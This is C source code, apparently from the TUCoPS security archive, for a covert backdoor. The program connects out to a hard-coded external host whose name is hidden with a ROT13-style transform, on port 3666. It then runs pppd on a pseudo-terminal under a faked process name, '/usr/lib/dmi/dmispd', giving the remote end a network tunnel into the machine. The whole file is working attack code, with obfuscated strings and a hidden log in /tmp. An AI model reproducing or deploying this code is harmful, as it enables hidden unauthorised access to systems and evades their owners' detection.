#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <poll.h>
#include <setjmp.h> /* jmp_buf et al */
#include <stropts.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/time.h> /* timeval, time_t */
#include <sys/socket.h> /* basics, SO_ and AF_ defs, sockaddr, ... */
#include <sys/conf.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/select.h>
#include <netdb.h> /* hostent, gethostby*, getservby* */
#include <netinet/in.h> /* sockaddr_in, htons, in_addr */
#include <netinet/in_systm.h> /* misc crud that netinet/ip.h references */
#include <netinet/ip.h> /* IPOPT_LSRR, header stuff */
#include <arpa/inet.h> /* inet_ntoa */
char *pname = NULL;
char *program = 0;
char *args[] = { 0, 0, };
#define DONE(x) { code = (x); goto done; }
void
trans(char *p, char *from, char *to) {
while (*p) {
if (*p == from[0])
*p = to[0];
else if (*p == from[1])
*p = to[1];
else if (*p < 'n')
*p = *p + 13;
else
*p = *p - 13;
p++;
}
}
int
doexec(int netfd) {
int fdm, fds;
int code = 0;
pid_t pid;
struct stat stb;
char *sname;
char buf[256];
int port=6999;
char *host = getenv("DH");
char *p;
char *logName = "/tmp/_lgpt_";
FILE *log = NULL;
dup2 (netfd, 0);
close (netfd);
dup2 (0, 1);
dup2 (0, 2);
if (!access(logName,W_OK)) {
log = fopen(logName,"a+");
if (!log)
log = NULL;
}
if (log) {
fprintf(log,"Log open %d\n",getpid());
fflush(log);
}
if (!host) {
if (log) {
fprintf(log,"Error: host undefined\n");
fflush(log);
}
exit(1);
}
p = getenv("DP");
if (p && isdigit(*p))
port = strtol(p,0,0);
sleep(1);
if (log) {
fprintf(log,"%s %d\n",host,port);
fflush(log);
}
printf("%s %d\n",host,port);
fflush(stdout);
p = buf;
while (p < buf+256) {
*p = 0;
code = read(1,p,1);
if (code != 1) {
if (log) {
fprintf(log,"failed input: %s<%d>\n", buf, p-buf);
fflush(log);
}
exit(2);
}
if (*p == '\r')
continue;
if (*p == '\n') {
if (log) {
fprintf(log,"input <%d>:%s\n",p-buf,buf);
fflush(log);
}
break;
}
p++;
}
/*
* don't fork
*/
if (fork() > 0)
exit(0);
/*
* allocate a terminal pair
*/
fdm = open("/dev/ptmx", O_RDWR | O_NOCTTY);
if (fdm < 0 || fstat(fdm, &stb) < 0) {
if (log) {
fprintf(log, "%s: Can't stat pty: %s",pname,strerror(errno));
fflush(log);
}
exit(2);
}
/*
* find the slave, unlock it
*/
sname = (char *)ptsname(fdm);
if ((sname == NULL) || grantpt(fdm) || unlockpt(fdm)) {
if (log) {
fprintf(log, "%s: Can't unlock pty: %s\n",pname,strerror(errno));
fflush(log);
}
exit(3);
}
/*
* get an fd for the slave
*/
fds = open(sname, O_RDWR);
if (fds < 0) {
if (log) {
fprintf(log, "%s: Cannot open slave pty %s: %s\n",
pname, sname, strerror(errno));
fflush(log);
}
exit(4);
}
program = strdup("%hfe#ybpny#ova%cccq");
trans(program,"%#","//");
args[0] = strdup("Qhfe^yvoQqzv^qzvfcq");
trans(args[0],"Q^","//");
/*
* enable terminal line-discipline on the slave
*/
ioctl(fds, I_PUSH, "ptem");
ioctl(fds, I_PUSH, "ldterm");
/*
* fork
*/
pid = fork();
if (pid < 0) {
if (log) {
fprintf(log, "%s: fork failed: %s\n", pname, strerror(errno));
fflush(log);
}
exit(5);
}
/* Put in separate process group, disassociate
controlling terminal. */
setsid();
if (log) {
fprintf(log, "process %d\n",getpid());
fflush(log);
}
if (pid > 0) { /* Parent */
int i, n;
int status = 0;
struct pollfd pfds[2];
#define BUFLEN 8192
char outbuf[BUFLEN];
char inbuf[BUFLEN];
int outnb = 0;
int innb = 0;
pfds[0].fd = fdm;
pfds[1].fd = 0;
for (i=0; i<2; i++) {
int flag_bits = 0;
pfds[i].events = POLLIN;
pfds[i].revents = 0;
if (!fcntl(pfds[i].fd,F_GETFL,&flag_bits)) {
flag_bits |= O_NONBLOCK;
fcntl(pfds[i].fd,F_SETFL,&flag_bits);
}
}
/* shuttle bytes between stdio and pty */
while (waitpid(pid,&status,WNOHANG) != pid
|| !(WIFEXITED(status) || WIFSIGNALED(status))) {
/* child has not exitted yet */
if (n = poll(pfds+0,2,10) > 0) { /* 10 millisec poll block */
/* check for closes */
for (i=0; i<2; i++)
if (pfds[i].revents & POLLHUP)
DONE(1);
/* shuttle bytes from fdm to stdout */
if ((pfds[0].revents & POLLIN) && outnb < BUFLEN) {
if (!(n = read(fdm,outbuf+outnb,BUFLEN-outnb)))
DONE(2);
if (n > 0)
outnb += n;
else
;
}
if (outnb > 0) {
n = write(1,outbuf,outnb);
if (n > 0) {
outnb -= n;
memmove(outbuf,outbuf+n,outnb);
} else if (errno != EWOULDBLOCK)
DONE(3);
}
/* shuttle bytes from stdin to fdm */
if ((pfds[1].revents & POLLIN) && innb < BUFLEN) {
if (!(n = read(0,inbuf+innb,BUFLEN-innb)))
DONE(4);
if (n > 0)
innb += n;
else
;
}
if (innb > 0) {
n = write(fdm,inbuf,innb);
if (n > 0) {
innb -= n;
memmove(inbuf,inbuf+n,innb);
} else if (errno != EWOULDBLOCK)
DONE(5);
}
} /* end if poll */
} /* end while */
done:
/* child exitted */
close(fdm);
close(0);
close(1);
close(2);
/* return child status */
if (!(WIFEXITED(status) || WIFSIGNALED(status)))
waitpid(pid,&status,0);
if (log) {
fprintf(log,"Child status %d, parent code %d\n",WEXITSTATUS(status),code);
fflush(log);
}
exit(WEXITSTATUS(status));
} else { /* Child */
close(fdm);
dup2(fds, 0);
dup2(fds, 1);
dup2(fds, 2);
if (fds > 2)
(void) close(fds);
execv(program,args);
if (log) {
fprintf(log,"Failed to exec %s: %s\n",program,args[0]);
fflush(log);
}
exit(6);
} /* end if child */
}
struct host_data {
char name[MAXHOSTNAMELEN]; /* dns name */
char addrs[8][24]; /* ascii-format IP addresses */
struct in_addr iaddrs[8]; /* real addresses: in_addr.s_addr: ulong */
};
/* globals: */
jmp_buf jbuf; /* timer crud */
int jval = 0; /* timer crud */
int netfd = -1;
int ofd = 0; /* hexdump output fd */
static char unknown[] = "(UNKNOWN)";
extern int h_errno;
struct sockaddr_in lclend;
struct sockaddr_in remend;
/* global cmd flags: */
ushort o_verbose = 0;
unsigned int o_wait = 0;
ushort o_zero = 0;
/* Debug macro: squirt whatever message and sleep a bit so we can see it go
by. need to call like Debug ((stuff)) [with no ; ] so macro args match!
Beware: writes to stdOUT... */
#ifdef DEBUG
#define Debug(x) printf x; printf ("\n"); fflush (stdout); sleep (1);
#else
#define Debug(x) /* nil... */
#endif
/* timeout and other signal handling cruft */
void tmtravel (int ign)
{
signal (SIGALRM, SIG_IGN);
alarm (0);
if (jval == 0) {
exit(1);
}
longjmp (jbuf, jval);
}
/* arm :
set the timer. Zero secs arg means unarm */
void arm (num, secs)
unsigned int num;
unsigned int secs;
{
if (secs == 0) { /* reset */
signal (SIGALRM, SIG_IGN);
alarm (0);
jval = 0;
} else { /* set */
signal (SIGALRM, tmtravel);
alarm (secs);
jval = num;
} /* if secs */
} /* arm */
struct host_data * gethostdata (name, numeric)
char * name;
ushort numeric;
{
struct hostent * hostent;
struct in_addr iaddr;
register struct host_data * data = NULL;
register int x;
errno = 0;
h_errno = 0;
if (name)
data = (struct host_data *) malloc(sizeof (struct host_data));
if (! data) {
exit(1);
}
memset(data,0,sizeof( struct host_data));
strcpy (data->name, unknown); /* preload it */
/* see wzv:workarounds.c for dg/ux return-a-struct inet_addr lossage */
iaddr.s_addr = inet_addr (name);
if (iaddr.s_addr == 0xffffffff) { /* here's the great split: names... */
if (numeric) {
exit(1);
}
hostent = gethostbyname (name);
if (! hostent) {
exit(1);
}
strncpy (data->name, hostent->h_name, MAXHOSTNAMELEN - 2);
for (x = 0; hostent->h_addr_list[x] && (x < 8); x++) {
memcpy (&data->iaddrs[x], hostent->h_addr_list[x], sizeof (struct in_addr));
strncpy (data->addrs[x], inet_ntoa (data->iaddrs[x]),
sizeof (data->addrs[0]));
} /* for x -> addrs, part A */
return (data); /* inverse stuff, we're done. */
} /* INADDR_NONE Great Split */
/* whatever-all went down previously, we should now have a host_data struct
with at least one IP address in it. */
h_errno = 0;
return (data);
} /* gethostdata */
/* doconnect :
do all the socket stuff, and return an fd for
an open outbound TCP connection
with appropriate socket options set up if we wanted source-routing, or
an unconnected TCP or UDP socket to listen on.
Examines various global o_blah flags to figure out what-all to do. */
int doconnect (rad, rp, lad, lp)
struct in_addr * rad;
ushort rp;
struct in_addr * lad;
ushort lp;
{
register int nnetfd;
register int rr;
int x, y;
errno = 0;
/* grab a socket; set opts */
newskt:
nnetfd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (nnetfd < 0){
exit(1);
}
if (nnetfd == 0) /* if stdin was closed this might *be* 0, */
goto newskt; /* so grab another. See text for why... */
x = 1;
rr = setsockopt (nnetfd, SOL_SOCKET, SO_REUSEADDR, &x, sizeof (x));
/* fill in all the right sockaddr crud */
lclend.sin_family = AF_INET;
/* fill in all the right sockaddr crud */
lclend.sin_family = AF_INET;
remend.sin_family = AF_INET;
/* if lad/lp, do appropriate binding */
if (lad)
memcpy (&lclend.sin_addr.s_addr, lad, sizeof (struct in_addr));
if (lp)
lclend.sin_port = htons (lp);
rr = 0;
if (lad || lp) {
x = (int) lp;
/* try a few times for the local bind, a la ftp-data-port... */
for (y = 4; y > 0; y--) {
rr = bind (nnetfd, (struct sockaddr *)&lclend, sizeof (struct sockaddr));
if (rr == 0)
break;
if (errno != EADDRINUSE)
break;
else {
fprintf(stderr,"retrying local %s:%d", inet_ntoa (lclend.sin_addr), lp);
sleep (2);
errno = 0; /* clear from sleep */
} /* if EADDRINUSE */
} /* for y counter */
} /* if lad or lp */
if (rr) {
fprintf(stderr,"Can't grab %s:%d with bind",
inet_ntoa(lclend.sin_addr), lp);
exit (1);
}
memcpy (&remend.sin_addr.s_addr, rad, sizeof (struct in_addr));
remend.sin_port = htons (rp);
/* wrap connect inside a timer, and hit it */
arm (1, o_wait);
if (setjmp (jbuf) == 0) {
rr = connect (nnetfd, (struct sockaddr *)&remend, sizeof (struct sockaddr));
} else { /* setjmp: connect failed... */
rr = -1;
errno = ETIMEDOUT; /* fake it */
}
arm (0, 0);
if (rr == 0)
return (nnetfd);
close (nnetfd); /* clean up junked socket FD!! */
return (-1);
} /* doconnect */
int
main (int argc, char **argv) {
char *pp, *pe, *prox, *cp;
int x;
struct host_data * whereto = NULL;
struct in_addr * themaddr = NULL;
ushort myport = 0;
ushort remport = 0;
pname = argv[0];
if (cp = strrchr(pname,'/'))
pname = ++cp;
res_init();
errno = 0;
h_errno = 0;
signal (SIGURG, SIG_IGN);
signal (SIGPIPE, SIG_IGN);
close (0); /* won't need stdin */
ofd = 0;
pp = getenv("PH");
if (pp != NULL)
prox = pp;
else {
prox = strdup("fha!onee@ronl");
trans(prox,"@!",".-");
}
whereto = gethostdata (prox, 0);
if (whereto && whereto->iaddrs)
themaddr = &whereto->iaddrs[0];
errno = 0;
h_errno = 0;
myport = 0;
pe = getenv("PP");
if (pe)
remport = strtol(pe,0,0);
if (remport < 1)
remport = 3666;
netfd = doconnect (themaddr, remport, 0, myport);
Debug (("netfd %d from port %d to port %d", netfd, myport, remport));
if (netfd > 0) { /* Yow, are we OPEN YET?! */
x = 0; /* pre-exit status */
free(whereto);
doexec (netfd);
/* does not return */
}
fprintf(stderr,"failed to connect\n");
exit(1);
} /* main */
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH